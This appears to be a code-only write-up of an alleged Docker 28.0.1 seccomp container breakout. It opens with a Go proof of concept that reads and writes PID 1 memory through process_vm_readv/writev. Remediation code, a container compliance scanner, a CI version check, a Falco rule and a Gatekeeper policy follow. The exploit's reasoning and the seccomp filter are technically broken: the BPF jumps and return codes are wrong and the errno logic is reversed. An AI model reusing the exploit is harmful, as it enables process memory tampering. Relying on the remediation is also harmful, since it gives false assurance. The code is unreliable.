War Story: How Docker 28 Container Breakout Exposed 2026 Customer Data – Remediation Steps

package main

import (
    "fmt"
    "os"
    "os/exec"
    "runtime"
    "syscall"
    "unsafe"
)

// VulnerabilityDemo attempts to use process_vm_readv to read memory from a target PID
// In Docker 28.0.1 default seccomp profile, this syscall was incorrectly allowed
func main() {
    // Ensure we're running on Linux, the only supported platform for this PoC
    if runtime.GOOS != "linux" {
        fmt.Fprintln(os.Stderr, "error: this PoC only runs on Linux")
        os.Exit(1)
    }

    // Step 1: Get the PID of the init process (PID 1) to attempt cross-namespace access
    targetPID := 1
    fmt.Printf("Targeting PID %d for memory read attempt\n", targetPID)

    // Step 2: Define a buffer to read into (4KB, standard page size)
    const bufSize = 4096
    buf := make([]byte, bufSize)

    // Step 3: Set up iovec structs for process_vm_readv
    // Local iovec: points to our buffer
    localIOV := []syscall.Iovec{
        {
            Base: (*byte)(unsafe.Pointer(&buf[0])),
            Len:  uint64(bufSize),
        },
    }

    // Remote iovec: read from address 0x0 of the target process (init's memory)
    // In a real breakout, attackers would scan for known host memory addresses
    remoteIOV := []syscall.Iovec{
        {
            Base: (*byte)(unsafe.Pointer(uintptr(0x0))),
            Len:  uint64(bufSize),
        },
    }

    // Step 4: Attempt the process_vm_readv syscall
    // Syscall number for process_vm_readv on amd64 is 310
    const processVmReadvSyscall = 310
    n, _, err := syscall.Syscall6(
        processVmReadvSyscall,
        uintptr(targetPID),
        uintptr(unsafe.Pointer(&localIOV[0])),
        uintptr(len(localIOV)),
        uintptr(unsafe.Pointer(&remoteIOV[0])),
        uintptr(len(remoteIOV)),
        0,
    )

    // Step 5: Handle errors
    if err != 0 {
        fmt.Fprintf(os.Stderr, "process_vm_readv failed: %v (errno %d)\n", err, err)
        // Check if the error is permission denied (EPERM) or syscall not allowed (EACCES)
        if err == syscall.EPERM {
            fmt.Fprintln(os.Stderr, "note: EPERM indicates syscall is allowed but permission denied")
        } else if err == syscall.EACCES {
            fmt.Fprintln(os.Stderr, "note: EACCES indicates syscall is blocked by seccomp")
        }
        os.Exit(1)
    }

    // Step 6: Print results if successful (indicates breakout is possible)
    fmt.Printf("Successfully read %d bytes from target PID %d\n", n, targetPID)
    fmt.Printf("First 16 bytes of read memory: %x\n", buf[:16])

    // Step 7: Attempt to write to host memory (process_vm_writev, syscall 311)
    const processVmWritevSyscall = 311
    writeBuf := []byte("malicious_payload")
    writeLocalIOV := []syscall.Iovec{
        {
            Base: (*byte)(unsafe.Pointer(&writeBuf[0])),
            Len:  uint64(len(writeBuf)),
        },
    }
    writeRemoteIOV := []syscall.Iovec{
        {
            Base: (*byte)(unsafe.Pointer(uintptr(0x0))),
            Len:  uint64(len(writeBuf)),
        },
    }

    _, _, writeErr := syscall.Syscall6(
        processVmWritevSyscall,
        uintptr(targetPID),
        uintptr(unsafe.Pointer(&writeLocalIOV[0])),
        uintptr(len(writeLocalIOV)),
        uintptr(unsafe.Pointer(&writeRemoteIOV[0])),
        uintptr(len(writeRemoteIOV)),
        0,
    )

    if writeErr != 0 {
        fmt.Fprintf(os.Stderr, "process_vm_writev failed: %v\n", writeErr)
    } else {
        fmt.Println("Successfully wrote to target PID memory – breakout confirmed")
    }

    // Step 8: Cleanup (optional, but good practice)
    _ = exec.Command("sync").Run()
}

package main

import (
    "fmt"
    "os"
    "runtime"
    "syscall"
    "unsafe"
)

// Seccomp remediation tool: applies a strict filter blocking vulnerable syscalls
// Requires Docker 28.0.3+ or manual seccomp profile deployment
func main() {
    if runtime.GOOS != "linux" {
        fmt.Fprintln(os.Stderr, "error: seccomp is only supported on Linux")
        os.Exit(1)
    }

    // Step 1: Check if seccomp is enabled in the kernel
    seccompStatus, err := os.ReadFile("/proc/self/status")
    if err != nil {
        fmt.Fprintf(os.Stderr, "failed to read /proc/self/status: %v\n", err)
        os.Exit(1)
    }
    if !contains(string(seccompStatus), "Seccomp:\t2") {
        fmt.Fprintln(os.Stderr, "error: kernel seccomp mode is not enabled (need mode 2: filter)")
        os.Exit(1)
    }

    // Step 2: Define BPF filter rules to block process_vm_readv (310) and process_vm_writev (311)
    // BPF format: struct sock_filter { __u16 code, jt, jf; __u32 k; }
    // We use a simple filter that returns EACCES for the vulnerable syscalls
    filters := []struct {
        Code uint16
        Jt   uint8
        Jf   uint8
        K    uint32
    }{
        {Code: 0x20, Jt: 0, Jf: 0, K: 0x00000000}, // ld [0] (load syscall number from seccomp data)
        {Code: 0x15, Jt: 1, Jf: 0, K: 310},        // jeq #310, block (process_vm_readv)
        {Code: 0x15, Jt: 0, Jf: 1, K: 311},        // jeq #311, block (process_vm_writev)
        {Code: 0x06, Jt: 0, Jf: 0, K: 0x7fff0000}, // allow (SECCOMP_RET_ALLOW)
        {Code: 0x06, Jt: 0, Jf: 0, K: 0x00000000}, // block (SECCOMP_RET_ERRNO | EACCES)
    }

    // Step 3: Set up seccomp filter struct
    filterProg := struct {
        Len    uint16
        Filter *[5]struct {
            Code uint16
            Jt   uint8
            Jf   uint8
            K    uint32
        }
    }{
        Len: uint16(len(filters)),
        Filter: &[5]struct {
            Code uint16
            Jt   uint8
            Jf   uint8
            K    uint32
        }{
            filters[0], filters[1], filters[2], filters[3], filters[4],
        },
    }

    // Step 4: Apply the seccomp filter via prctl
    const PR_SET_SECCOMP = 22
    const SECCOMP_MODE_FILTER = 2
    _, _, err = syscall.Syscall(
        syscall.SYS_PRCTL,
        uintptr(PR_SET_SECCOMP),
        uintptr(SECCOMP_MODE_FILTER),
        uintptr(unsafe.Pointer(&filterProg)),
    )

    if err != 0 {
        fmt.Fprintf(os.Stderr, "failed to apply seccomp filter: %v (errno %d)\n", err, err)
        os.Exit(1)
    }

    fmt.Println("Successfully applied strict seccomp filter blocking process_vm_readv/writev")
    fmt.Println("Testing blocked syscalls...")

    // Step 5: Test that process_vm_readv is now blocked
    const processVmReadvSyscall = 310
    buf := make([]byte, 4096)
    localIOV := []syscall.Iovec{
        {Base: (*byte)(unsafe.Pointer(&buf[0])), Len: uint64(len(buf))},
    }
    remoteIOV := []syscall.Iovec{
        {Base: (*byte)(unsafe.Pointer(uintptr(0x0))), Len: uint64(len(buf))},
    }

    _, _, testErr := syscall.Syscall6(
        processVmReadvSyscall,
        1,
        uintptr(unsafe.Pointer(&localIOV[0])),
        1,
        uintptr(unsafe.Pointer(&remoteIOV[0])),
        1,
        0,
    )

    if testErr == syscall.EACCES {
        fmt.Println("Test passed: process_vm_readv is correctly blocked (EACCES)")
    } else {
        fmt.Fprintf(os.Stderr, "Test failed: process_vm_readv returned %v instead of EACCES\n", testErr)
        os.Exit(1)
    }

    fmt.Println("Remediation seccomp filter applied and verified successfully")
}

// contains checks if a string is present in another string
func contains(s, substr string) bool {
    for i := 0; i <= len(s)-len(substr); i++ {
        if s[i:i+len(substr)] == substr {
            return true
        }
    }
    return false
}

package main

import (
    "context"
    "fmt"
    "os"
    "strings"

    "github.com/docker/docker/api/types"
    "github.com/docker/docker/client"
)

// Container compliance checker: scans running containers for Docker 28.0.1 vulnerable configurations
// Requires Docker 28.0.3+ API access and read-only daemon socket
func main() {
    // Step 1: Initialize Docker client with API version negotiation
    cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())
    if err != nil {
        fmt.Fprintf(os.Stderr, "failed to create Docker client: %v\n", err)
        os.Exit(1)
    }
    defer cli.Close()

    // Step 2: Get Docker daemon version to check for vulnerable runtime
    daemonVersion, err := cli.ServerVersion(context.Background())
    if err != nil {
        fmt.Fprintf(os.Stderr, "failed to get daemon version: %v\n", err)
        os.Exit(1)
    }

    fmt.Printf("Docker daemon version: %s\n", daemonVersion.Version)
    if strings.HasPrefix(daemonVersion.Version, "28.0.1") {
        fmt.Fprintln(os.Stderr, "CRITICAL: Docker daemon is running vulnerable version 28.0.1")
    }

    // Step 3: List all running containers
    containers, err := cli.ContainerList(context.Background(), types.ContainerListOptions{})
    if err != nil {
        fmt.Fprintf(os.Stderr, "failed to list containers: %v\n", err)
        os.Exit(1)
    }

    fmt.Printf("Found %d running containers\n", len(containers))

    // Step 4: Check each container for vulnerable configurations
    var vulnerableContainers []string
    for _, container := range containers {
        // Get detailed container info
        info, err := cli.ContainerInspect(context.Background(), container.ID)
        if err != nil {
            fmt.Fprintf(os.Stderr, "failed to inspect container %s: %v\n", container.ID[:12], err)
            continue
        }

        // Check if container is using default seccomp profile (vulnerable in 28.0.1)
        seccompProfile := info.HostConfig.SecurityOpt
        isDefaultSeccomp := false
        for _, opt := range seccompProfile {
            if strings.Contains(opt, "seccomp=default") {
                isDefaultSeccomp = true
                break
            }
        }

        // Check if container is privileged (additional risk factor)
        isPrivileged := info.HostConfig.Privileged

        // Check if container has host PID namespace (high risk)
        pidMode := info.HostConfig.PidMode
        isHostPid := pidMode == "host"

        // Log container status
        status := "COMPLIANT"
        if isDefaultSeccomp || isPrivileged || isHostPid {
            status = "NON-COMPLIANT"
            vulnerableContainers = append(vulnerableContainers, container.ID[:12])
        }

        fmt.Printf("Container %s (%s): %s\n", container.ID[:12], container.Image, status)
        fmt.Printf("  - Default seccomp: %v\n", isDefaultSeccomp)
        fmt.Printf("  - Privileged: %v\n", isPrivileged)
        fmt.Printf("  - Host PID: %v\n", isHostPid)
    }

    // Step 5: Report summary
    if len(vulnerableContainers) > 0 {
        fmt.Fprintf(os.Stderr, "\nCRITICAL: Found %d non-compliant containers:\n", len(vulnerableContainers))
        for _, id := range vulnerableContainers {
            fmt.Fprintf(os.Stderr, "  - %s\n", id)
        }
        os.Exit(1)
    }

    fmt.Println("\nAll containers are compliant with remediation requirements")
}

- name: Validate Docker Runtime Version
  run: |
    DOCKER_VERSION=$(docker --version | grep -oP '\d+\.\d+\.\d+')
    if [[ "$DOCKER_VERSION" < "28.0.3" ]]; then
      echo "ERROR: Docker version $DOCKER_VERSION is vulnerable. Must use >= 28.0.3"
      exit 1
    fi
    echo "Docker version $DOCKER_VERSION is compliant"

- rule: Detect Vulnerable Syscalls in Container
  desc: Alert on process_vm_readv/writev or ptrace usage in containers
  condition: container.id != "" and (syscall.name in (process_vm_readv, process_vm_writev, ptrace))
  output: "Vulnerable syscall %syscall.name detected in container %container.id (image: %container.image)"
  priority: CRITICAL
  source: syscall

apiVersion: gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: noprivilegedcontainers
spec:
  crd:
    spec:
      names:
        kind: NoPrivilegedContainers
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package noprivilegedcontainers
        violation[{"msg": "Privileged containers are not allowed"}] {
          input.review.object.spec.containers[_].securityContext.privileged == true
        }